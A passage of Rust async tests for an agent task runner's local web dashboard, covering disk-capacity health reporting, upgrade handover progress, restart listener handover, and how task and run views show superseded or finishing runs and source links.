25495                let disk = serde_json::to_value(view.disk).unwrap();
25496                assert!(disk["runs_bytes"].is_null());
25497                assert!(disk["worktrees_bytes"].is_null());
25498                // Free space is a cheap live observation even while the
25499                // recursive capacity measurement remains blocked.
25500                assert!(disk["free_bytes"].is_u64());
25501            }
25502        })
25503        .await;
25504        if completed.is_err() {
25505            release.send(()).unwrap();
25506            wait_for_disk_scan(&ui.monitor.disk).await;
25507            panic!("health must return while the measurement is causally blocked");
25508        }
25509        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25510        // No competing worker can have published while the first holds flight.
25511        assert!(
25512            ui.monitor
25513                .disk
25514                .lock()
25515                .unwrap()
25516                .capacity
25517                .runs_bytes
25518                .is_none()
25519        );
25520        release.send(()).unwrap();
25521        wait_for_disk_scan(&ui.monitor.disk).await;
25522        assert_eq!(
25523            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25524            Some(200)
25525        );
25526    }
25527
25528    #[tokio::test]
25529    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25530        let home = TempDir::new().unwrap();
25531        let scope = disk_test_scope(home.path());
25532        let state = Arc::new(Mutex::new(DiskObservation {
25533            scope: Some(scope.clone()),
25534            capacity: known_disk_capacity(),
25535            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25536            ..Default::default()
25537        }));
25538        let (started, reached) = tokio::sync::oneshot::channel();
25539        let (release, blocked) = std::sync::mpsc::channel();
25540        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25541            started.send(()).unwrap();
25542            blocked.recv().unwrap();
25543            DiskCapacity {
25544                runs_bytes: Some(250),
25545                ..Default::default()
25546            }
25547        });
25548        assert_eq!(before.cache_bytes, Some(400));
25549        tokio::time::timeout(Duration::from_secs(5), reached)
25550            .await
25551            .unwrap()
25552            .unwrap();
25553        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25554        for _ in 0..4 {
25555            let scans = duplicate_scans.clone();
25556            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25557                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25558                DiskCapacity::default()
25559            });
25560            assert_eq!(during.runs_bytes, Some(200));
25561            assert_eq!(during.cache_bytes, Some(400));
25562        }
25563        release.send(()).unwrap();
25564        wait_for_disk_scan(&state).await;
25565        let scans = duplicate_scans.clone();
25566        let after = DiskObservation::observe(&state, scope, move |_| {
25567            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25568            DiskCapacity::default()
25569        });
25570        wait_for_disk_scan(&state).await;
25571        assert_eq!(after.runs_bytes, Some(250));
25572        assert_eq!(after.free_bytes, Some(100));
25573        assert_eq!(after.cache_bytes, Some(400));
25574        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25575        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25576    }
25577
25578    #[tokio::test]
25579    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25580        let home = TempDir::new().unwrap();
25581        let old_scope = disk_test_scope(home.path());
25582        let mut new_scope = old_scope.clone();
25583        new_scope.cache = Some(home.path().join("replacement-cache"));
25584        let state = Arc::new(Mutex::new(DiskObservation {
25585            scope: Some(old_scope.clone()),
25586            capacity: known_disk_capacity(),
25587            ..Default::default()
25588        }));
25589        let (started, reached) = tokio::sync::oneshot::channel();
25590        let (release, blocked) = std::sync::mpsc::channel();
25591        DiskObservation::observe(&state, old_scope, move |_| {
25592            started.send(()).unwrap();
25593            blocked.recv().unwrap();
25594            known_disk_capacity()
25595        });
25596        tokio::time::timeout(Duration::from_secs(5), reached)
25597            .await
25598            .unwrap()
25599            .unwrap();
25600        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25601        let scans = duplicate_scans.clone();
25602        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25603            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25604            DiskCapacity::default()
25605        });
25606        assert!(changed.cache_bytes.is_none());
25607        assert!(changed.runs_bytes.is_none());
25608        release.send(()).unwrap();
25609        wait_for_disk_scan(&state).await;
25610        {
25611            let observation = state.lock().unwrap();
25612            assert!(observation.capacity.cache_bytes.is_none());
25613            assert!(observation.finished.is_none());
25614        }
25615        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25616            assert_eq!(scope, &new_scope);
25617            DiskCapacity {
25618                cache_bytes: Some(999),
25619                ..Default::default()
25620            }
25621        });
25622        wait_for_disk_scan(&state).await;
25623        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25624        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25625    }
25626
25627    #[tokio::test]
25628    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25629        let home = TempDir::new().unwrap();
25630        let scope = disk_test_scope(home.path());
25631        let state = Arc::new(Mutex::new(DiskObservation {
25632            scope: Some(scope.clone()),
25633            capacity: known_disk_capacity(),
25634            ..Default::default()
25635        }));
25636        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25637        wait_for_disk_scan(&state).await;
25638        {
25639            let mut observation = state.lock().unwrap();
25640            assert_eq!(observation.capacity.cache_bytes, Some(400));
25641            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25642            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25643        }
25644        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25645            cache_bytes: Some(450),
25646            ..Default::default()
25647        });
25648        wait_for_disk_scan(&state).await;
25649        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25650    }
25651
25652    #[test]
25653    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25654        let home = TempDir::new().unwrap();
25655        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25656        assert_eq!(disk_capacity_size(home.path()), Some(0));
25657        std::fs::create_dir(home.path().join("nested")).unwrap();
25658        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25659        assert_eq!(disk_capacity_size(home.path()), Some(5));
25660        #[cfg(unix)]
25661        {
25662            // Unix distinguishes an invalid descendant lookup from absence.
25663            assert_eq!(
25664                disk_capacity_size(&home.path().join("nested/data/child")),
25665                None
25666            );
25667        }
25668        #[cfg(unix)]
25669        {
25670            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25671            assert_eq!(disk_capacity_size(home.path()), Some(5));
25672        }
25673    }
25674
25675    #[tokio::test]
25676    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25677        // `mode = "off"` for the same reason as the test above: a default
25678        // fixture repo falls back to `mode = "notify"`, which would make this
25679        // route's new `update` field a live, unauthenticated GitHub call on
25680        // every assertion in this suite that happens to hit `/api/health`.
25681        let repo = TempDir::new().expect("repo dir");
25682        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25683            .expect("write magi.toml");
25684        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25685
25686        let health = fx.get("/api/health").await.json();
25687        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25688        assert_eq!(
25689            health["update"]["available"], false,
25690            "checking is off, which reads as \"unknown\", not \"none\""
25691        );
25692        assert!(health["update"]["to"].is_null());
25693        assert!(
25694            health["upgrade"].is_null(),
25695            "nothing has ever asked this deck to upgrade"
25696        );
25697    }
25698
25699    #[tokio::test]
25700    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25701        let fx = Fixture::start().await;
25702        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25703
25704        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25705        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25706        progress.advance(crate::updater::Stage::Parking);
25707        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25708
25709        let health = fx.get("/api/health").await.json();
25710        assert_eq!(health["upgrade"]["stage"], "parking");
25711        assert_eq!(health["upgrade"]["from"], "0.5.1");
25712        assert_eq!(health["upgrade"]["to"], "0.5.2");
25713        let waiting_on = health["upgrade"]["waiting_on"]
25714            .as_str()
25715            .expect("waiting_on is set while parking a known run");
25716        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25717        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25718    }
25719
25720    #[tokio::test]
25721    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25722        let fx = Fixture::start().await;
25723        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25724        progress.advance(crate::updater::Stage::Done);
25725        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25726
25727        let health = fx.get("/api/health").await.json();
25728        assert_eq!(health["upgrade"]["stage"], "done");
25729        assert!(
25730            health["upgrade"]["waiting_on"].is_null(),
25731            "nothing to wait on once it is done"
25732        );
25733    }
25734
25735    /// The handover signal is seen however the race falls, and wakes its one
25736    /// waiter once per signal - nothing here can spin.
25737    #[tokio::test]
25738    async fn the_handover_signal_wakes_one_waiter_once() {
25739        let signal = Notify::new();
25740        // Signalled before anyone waits: the stored permit is not lost.
25741        signal.notify_one();
25742        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25743            .await
25744            .expect("an early signal is still seen");
25745        // One signal, one wake-up: a second wait does not resolve by itself.
25746        assert!(
25747            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25748                .await
25749                .is_err(),
25750            "a consumed signal must not wake a second time"
25751        );
25752        // Signalled while waiting.
25753        let signal = std::sync::Arc::new(signal);
25754        let waiter = tokio::spawn({
25755            let signal = std::sync::Arc::clone(&signal);
25756            async move { wait_for_handover(&signal).await }
25757        });
25758        tokio::time::sleep(Duration::from_millis(20)).await;
25759        assert!(!waiter.is_finished(), "nothing was signalled yet");
25760        signal.notify_one();
25761        tokio::time::timeout(Duration::from_secs(5), waiter)
25762            .await
25763            .expect("a late signal wakes the waiter")
25764            .expect("join");
25765    }
25766
25767    #[tokio::test]
25768    async fn health_says_how_long_a_handover_has_been_stuck() {
25769        let fx = Fixture::start().await;
25770        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25771        progress.advance(crate::updater::Stage::Replaced);
25772        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25773        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25774
25775        let health = fx.get("/api/health").await.json();
25776        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25777        assert!(stuck >= 600, "{stuck}");
25778        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25779        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25780    }
25781
25782    #[tokio::test]
25783    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25784        let home = tempfile::tempdir().expect("temp home");
25785        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25786        progress.advance(crate::updater::Stage::Parking);
25787        crate::updater::write_progress(home.path(), &progress).expect("seed");
25788        // What the second upgrade_and_restart and its handler do.
25789        let mut again = progress.clone();
25790        again.advance(crate::updater::Stage::Replaced);
25791        crate::updater::write_progress(home.path(), &again).expect("replaced");
25792        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25793        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25794        let after = crate::updater::read_progress(home.path()).expect("record");
25795        assert_eq!(after.stage, crate::updater::Stage::Parking);
25796    }
25797
25798    #[tokio::test]
25799    async fn health_does_not_call_a_live_parking_wait_stuck() {
25800        let fx = Fixture::start().await;
25801        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25802        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25803        progress.advance(crate::updater::Stage::Parking);
25804        let hours = Duration::from_secs(3 * 3600);
25805        progress.started_at = Timestamp::now() - hours;
25806        progress.updated_at = Timestamp::now() - hours;
25807        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25808        let _lease = crate::updater::LeaseGuard::enter(
25809            fx.home.path(),
25810            Some("20260905-000000-cd51".to_owned()),
25811        );
25812
25813        let health = fx.get("/api/health").await.json();
25814        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25815        assert!(health["upgrade"]["stuck_kind"].is_null());
25816        assert_eq!(health["upgrade"]["handover_alive"], true);
25817        let waiting_on = health["upgrade"]["waiting_on"]
25818            .as_str()
25819            .expect("waiting_on");
25820        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25821    }
25822
25823    fn idle_ui(home: &TempDir) -> Ui {
25824        let runs = home.path().join("runs");
25825        std::fs::create_dir_all(&runs).expect("runs dir");
25826        Ui::new(
25827            Queue::at(home.path().join("queue")),
25828            Questions::at(home.path().join("questions")),
25829            Talks::at(home.path().join("talks")),
25830            runs,
25831            home.path().to_path_buf(),
25832            PathBuf::from("/repo/magi"),
25833        )
25834        .with_launch(launch_idle)
25835    }
25836
25837    #[tokio::test]
25838    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25839        let home = TempDir::new().expect("temp home");
25840        let ui = idle_ui(&home);
25841        let lease = crate::worker::try_lease(home.path(), "scheduler")
25842            .expect("scheduler lease")
25843            .expect("free");
25844        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25845            .expect("request stop");
25846        let error = ui
25847            .start_detached_loop()
25848            .await
25849            .expect_err("transition is still live");
25850        assert_eq!(error.status, StatusCode::CONFLICT);
25851        assert!(error.message.contains("still running or stopping"));
25852        assert_eq!(
25853            crate::worker::control(home.path(), "scheduler").unwrap(),
25854            Some(crate::worker::Control::Stop)
25855        );
25856        drop(lease);
25857    }
25858
25859    #[tokio::test]
25860    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25861        let home = TempDir::new().expect("temp home");
25862        let ui = idle_ui(&home);
25863        let turns = ui
25864            .begin_talk_turn("active-chat")
25865            .expect("claim")
25866            .expect("free");
25867        let execution = crate::worker::try_lease(home.path(), "active-task")
25868            .expect("execution lease")
25869            .expect("free");
25870        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25871            .await
25872            .expect("bind loopback");
25873        let address = listener.local_addr().expect("address");
25874        let admissions = Arc::clone(&ui.admissions);
25875        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25876        let successor_started = std::sync::atomic::AtomicBool::new(false);
25877        tokio::time::timeout(
25878            Duration::from_secs(2),
25879            hand_over(home.path(), &admissions, served, || {
25880                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25881                Ok(1)
25882            }),
25883        )
25884        .await
25885        .expect("restart must not wait for execution")
25886        .expect("handover");
25887        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25888        // BSD may retain the address briefly after listener release. The real
25889        // successor uses the same bounded bind retry rather than a one-shot bind.
25890        let successor = bind_waiting(address)
25891            .await
25892            .expect("successor binds released address");
25893        assert_eq!(successor.local_addr().unwrap(), address);
25894        assert!(turns.owns(), "the chat lease survives restart");
25895        assert!(
25896            crate::worker::try_lease(home.path(), "active-task")
25897                .unwrap()
25898                .is_none()
25899        );
25900        drop(execution);
25901        drop(turns);
25902    }
25903
25904    #[tokio::test]
25905    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25906        let home = TempDir::new().expect("temp home");
25907        let ui = idle_ui(&home);
25908        let admission = ui.begin_admission().expect("admit send");
25909        let turn = ui
25910            .begin_talk_turn("active-chat")
25911            .expect("claim")
25912            .expect("free");
25913        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25914            .await
25915            .expect("bind loopback");
25916        let address = listener.local_addr().expect("address");
25917        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25918        let successor_called = std::sync::atomic::AtomicBool::new(false);
25919        let handover = hand_over(home.path(), &ui.admissions, served, || {
25920            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25921            Ok(1)
25922        });
25923        tokio::pin!(handover);
25924        // Poll exactly to the writer waiting on our admission guard. This
25925        // pins the race without sleeps or assumptions about task scheduling.
25926        std::future::poll_fn(|cx| {
25927            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25928            std::task::Poll::Ready(())
25929        })
25930        .await;
25931        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25932        assert!(
25933            ui.begin_admission().is_err(),
25934            "new ingress cannot race the drain"
25935        );
25936        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25937        drop(admission);
25938        tokio::time::timeout(Duration::from_secs(2), handover)
25939            .await
25940            .expect("only publication may delay restart")
25941            .expect("handover");
25942        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25943        assert!(
25944            turn.owns(),
25945            "the detached chat turn is not awaited or cancelled"
25946        );
25947        assert!(
25948            ui.begin_admission().is_err(),
25949            "old accepted connections stay closed"
25950        );
25951        drop(turn);
25952    }
25953
25954    #[test]
25955    fn health_worker_metadata_never_contains_payload_or_result() {
25956        let view = WorkerView::from(crate::worker::Job {
25957            id: "job".into(),
25958            sequence: 1,
25959            kind: "service".into(),
25960            key: "maintenance".into(),
25961            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25962            generation: "generation".into(),
25963            version: Some("1.2.3".into()),
25964            status: crate::worker::Status::Running,
25965            result: Some("private diagnostics".into()),
25966            pid: Some(4242),
25967            created_at: 1,
25968            finished_at: None,
25969        });
25970        let value = serde_json::to_value(view).expect("serialize public metadata");
25971        assert_eq!(value["version"], "1.2.3");
25972        assert_eq!(value["pid"], 4242);
25973        assert!(value.get("payload").is_none());
25974        assert!(value.get("result").is_none());
25975        assert!(!value.to_string().contains("private"));
25976    }
25977
25978    #[test]
25979    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25980        let home = TempDir::new().expect("temp home");
25981        let ui = idle_ui(&home);
25982        std::fs::write(
25983            home.path().join("daemon.json"),
25984            serde_json::json!({
25985                "schema": 2, "pid": 4242, "worker_protocol": 1,
25986                "updated_at": Timestamp::now().to_string(), "idle": true,
25987            })
25988            .to_string(),
25989        )
25990        .expect("status");
25991        let reading = daemon::read_status(home.path());
25992        assert!(Foreign::of(reading.as_ref()).is_none());
25993        let view = ui.runtime_loop_view(reading, &[]);
25994        assert!(view.running);
25995        assert!(view.owned);
25996    }
25997
25998    #[test]
25999    fn only_an_explicit_one_requests_a_resume() {
26000        assert!(!resume_requested(None));
26001        assert!(!resume_requested(Some("0".into())));
26002        assert!(!resume_requested(Some("".into())));
26003        assert!(resume_requested(Some("1".into())));
26004    }
26005
26006    #[test]
26007    fn an_error_is_visible_from_where_the_button_is() {
26008        // The alert used to sit in the flow under the header. On a phone
26009        // scrolled 13 500 px down to a run's action sheet that is off screen,
26010        // so tapping Resume and being told "the loop is running run b455
26011        // right now" looked exactly like a button that did nothing.
26012        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
26013            ..APP_CSS.find(".alert-text").expect(".alert-text")];
26014        assert!(
26015            alert.contains("position: fixed"),
26016            "an error about the thing under your thumb has to be visible from \
26017             where your thumb is: {alert}"
26018        );
26019        assert!(
26020            alert.contains("z-index: 25"),
26021            "above the dock (20) and the run-actions FAB (15), so neither \
26022             buries it: {alert}"
26023        );
26024        assert!(
26025            alert.contains("var(--tap)"),
26026            "and clear of the dock and the home indicator: {alert}"
26027        );
26028        // The FAB sits at the same height on the right. An error that covered
26029        // it would hide the button the operator reaches for next.
26030        assert!(
26031            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26032            "the FAB's column stays free: {alert}"
26033        );
26034    }
26035
26036    #[tokio::test]
26037    async fn an_older_attempt_says_what_replaced_it() {
26038        let fx = Fixture::start().await;
26039        let q = fx.queue();
26040        let runs = fx.runs();
26041        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26042        write_run(&runs, first, RunStatus::Stalled);
26043        write_run(&runs, second, RunStatus::Blocked);
26044
26045        let mut t = Task::new(
26046            "one task".to_owned(),
26047            "do it".to_owned(),
26048            PathBuf::from("/repo"),
26049            Source::Human,
26050        );
26051        t.runs = vec![first.to_owned(), second.to_owned()];
26052        q.put(&mut t).expect("put");
26053
26054        // Two cards with the same title and no hint which is which was the
26055        // question: "why are there two of the same, one stalled and one
26056        // blocked?" The older one now names its replacement.
26057        let rows = fx.get("/api/runs").await.json();
26058        let by = |short: &str| -> Value {
26059            rows.as_array()
26060                .unwrap()
26061                .iter()
26062                .find(|r| r["short"] == short)
26063                .cloned()
26064                .unwrap_or(Value::Null)
26065        };
26066        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26067        assert!(
26068            by("bbbb")["superseded_by"].is_null(),
26069            "the latest attempt is not superseded by anything"
26070        );
26071        // Front end: the note has to be rendered, not just carried.
26072        assert!(APP_JS.contains("run.superseded_by"));
26073        assert!(APP_JS.contains("Superseded by"));
26074    }
26075
26076    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26077        let mut t = Task::new(
26078            "one task".to_owned(),
26079            "do it".to_owned(),
26080            PathBuf::from("/repo"),
26081            Source::Human,
26082        );
26083        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26084        t.status = status;
26085        t
26086    }
26087
26088    #[test]
26089    fn source_link_picks_the_page_that_filed_the_task() {
26090        let agent = |node: &str| Source::Agent {
26091            run: "20260904-014455-ab12".to_owned(),
26092            node: node.to_owned(),
26093        };
26094        let chat = source_link(&agent("chat")).expect("chat link");
26095        assert_eq!(chat.kind, "chat");
26096        assert_eq!(chat.id, "20260904-014455-ab12");
26097        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26098        let run = source_link(&agent("implement")).expect("run link");
26099        assert_eq!(
26100            (run.kind, run.href.as_str()),
26101            ("run", "#/runs/20260904-014455-ab12")
26102        );
26103        assert_eq!(source_link(&Source::Human), None);
26104        assert_eq!(
26105            source_link(&Source::Issue {
26106                number: 3,
26107                repo: "o/r".to_owned()
26108            }),
26109            None
26110        );
26111        let odd = source_link(&Source::Agent {
26112            run: "a b/c".to_owned(),
26113            node: "chat".to_owned(),
26114        })
26115        .expect("link");
26116        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26117    }
26118
26119    #[test]
26120    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26121        assert!(
26122            !APP_JS.contains("src.node === \"chat\""),
26123            "inline href rule is back"
26124        );
26125        assert!(
26126            APP_JS.matches("sourceLinkOf(").count() >= 4,
26127            "helper must serve every page"
26128        );
26129        assert!(
26130            APP_JS.matches("openChatLink(").count() >= 3,
26131            "the run page still needs its explicit chat link"
26132        );
26133        assert!(
26134            !APP_JS.contains("const openChat = el("),
26135            "the Queue card duplicates its source label link again"
26136        );
26137        assert!(
26138            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26139            "the task page must link a chat source label too"
26140        );
26141    }
26142
26143    #[test]
26144    fn task_ref_carries_the_source_link_for_a_chat_task() {
26145        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26146        t.source = Source::Agent {
26147            run: "20260904-014455-ab12".to_owned(),
26148            node: "chat".to_owned(),
26149        };
26150        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26151        let v = serde_json::to_value(&out).expect("json");
26152        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26153        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26154        assert_eq!(v["source_label"], t.source.label());
26155
26156        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26157        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26158            .expect("json");
26159        assert!(v["source_link"].is_null(), "{v}");
26160    }
26161
26162    #[test]
26163    fn task_view_serializes_source_link() {
26164        let mut t = Task::new(
26165            "t".to_owned(),
26166            "t".to_owned(),
26167            PathBuf::from("/repo"),
26168            Source::Agent {
26169                run: "20260901-000000-aaaa".to_owned(),
26170                node: "implement".to_owned(),
26171            },
26172        );
26173        t.runs.clear();
26174        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26175        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26176        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26177    }
26178
26179    #[test]
26180    fn task_view_serializes_urgent_flag() {
26181        let mut t = Task::new(
26182            "t".to_owned(),
26183            "t".to_owned(),
26184            PathBuf::from("/repo"),
26185            Source::Human,
26186        );
26187        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26188        assert_eq!(v["urgent"], false, "{v}");
26189        t.urgent = true;
26190        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26191        assert_eq!(v["urgent"], true, "{v}");
26192        assert!(APP_JS.contains("task.urgent === true"));
26193    }
26194
26195    #[test]
26196    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26197        let mut t = Task::new(
26198            "t".to_owned(),
26199            "t".to_owned(),
26200            PathBuf::from("/repo"),
26201            Source::Human,
26202        );
26203        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26204        assert_eq!(v["immediate"], false, "{v}");
26205        t.immediate = true;
26206        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26207        assert_eq!(v["immediate"], true, "{v}");
26208        assert!(APP_JS.contains("task.immediate === true"));
26209        assert!(APP_JS.contains("/immediate"));
26210    }
26211
26212    #[tokio::test]
26213    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26214        let fx = Fixture::start().await;
26215        let runs = fx.runs();
26216        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26217        write_run(&runs, old, RunStatus::Blocked);
26218        write_run(&runs, new, RunStatus::Merged);
26219        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26220        fx.queue().put(&mut t).expect("put");
26221
26222        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26223        let task = &view["task"];
26224        assert_eq!(task["status"], "done");
26225        assert_eq!(task["is_latest"], false);
26226        assert_eq!(task["latest"]["short"], "bbbb");
26227        assert_eq!(task["finished_by"]["id"], new);
26228        assert_eq!(task["finished_by"]["outcome"], "merged");
26229        assert_eq!(task["closed_by_hand"], false);
26230        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26231        assert!(APP_JS.contains("finished_by"));
26232        assert!(APP_JS.contains("superseded by run"));
26233    }
26234
26235    #[tokio::test]
26236    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26237        let fx = Fixture::start().await;
26238        let runs = fx.runs();
26239        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26240        write_run(&runs, old, RunStatus::Stalled);
26241        write_run(&runs, new, RunStatus::Blocked);
26242        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26243        fx.queue().put(&mut t).expect("put");
26244
26245        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26246        assert_eq!(task["status"], "held");
26247        assert_eq!(task["is_latest"], true);
26248        assert!(task["latest"].is_null());
26249        assert!(task["finished_by"].is_null());
26250        assert_eq!(task["closed_by_hand"], false);
26251    }
26252
26253    #[tokio::test]
26254    async fn a_direct_run_has_no_task_outcome() {
26255        let fx = Fixture::start().await;
26256        let runs = fx.runs();
26257        let id = "20260901-000000-aaaa";
26258        write_run(&runs, id, RunStatus::Blocked);
26259        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26260        assert!(view["task"].is_null());
26261    }
26262
26263    #[test]
26264    fn task_outcome_does_not_guess_a_finishing_run() {
26265        let a = "20260901-000000-aaaa";
26266        let b = "20260901-000000-bbbb";
26267        let c = "20260901-000000-cccc";
26268        let dir = tempfile::tempdir().expect("tempdir");
26269        write_run(dir.path(), a, RunStatus::Blocked);
26270        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26271        // `c` has no record: unreadable.
26272        let read = |id: &str| read_run(dir.path(), id).ok();
26273        // Neither a blocked run nor a no-op finished the task; the newest run is
26274        // unreadable and still named.
26275        let t = outcome_task(&[a, b, c], TaskStatus::Done);
26276        let out = task_outcome(&t, a, 3, read);
26277        assert!(out.finished_by.is_none());
26278        assert!(out.closed_by_hand);
26279        let latest = out.latest.expect("latest");
26280        assert_eq!(latest.id, c);
26281        assert_eq!(latest.status, None);
26282        assert_eq!(latest.outcome, "record unreadable");
26283
26284        // A Ready run settles the task as done, so it is named as the finisher.
26285        write_run(dir.path(), c, RunStatus::Ready);
26286        let t = outcome_task(&[a, c], TaskStatus::Done);
26287        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26288        assert_eq!(out.finished_by.expect("finisher").id, c);
26289        assert!(!out.closed_by_hand);
26290
26291        // A resumed run id repeats: it is still the latest by id.
26292        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26293        assert!(task_outcome(&t, a, 3, read).is_latest);
26294    }
26295
26296    #[tokio::test]
26297    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26298        // The list route has known this since the card fix above; the detail
26299        // route — what an operator actually opens from a notification about
26300        // a blocked run — did not, and went on showing a bare red BLOCKED
26301        // chip for a run a retry had already finished.
26302        let fx = Fixture::start().await;
26303        let q = fx.queue();
26304        let runs = fx.runs();
26305        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26306        write_run(&runs, first, RunStatus::Blocked);
26307        write_run(&runs, second, RunStatus::Merged);
26308
26309        let mut t = Task::new(
26310            "one task".to_owned(),
26311            "do it".to_owned(),
26312            PathBuf::from("/repo"),
26313            Source::Human,
26314        );
26315        t.runs = vec![first.to_owned(), second.to_owned()];
26316        q.put(&mut t).expect("put");
26317
26318        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
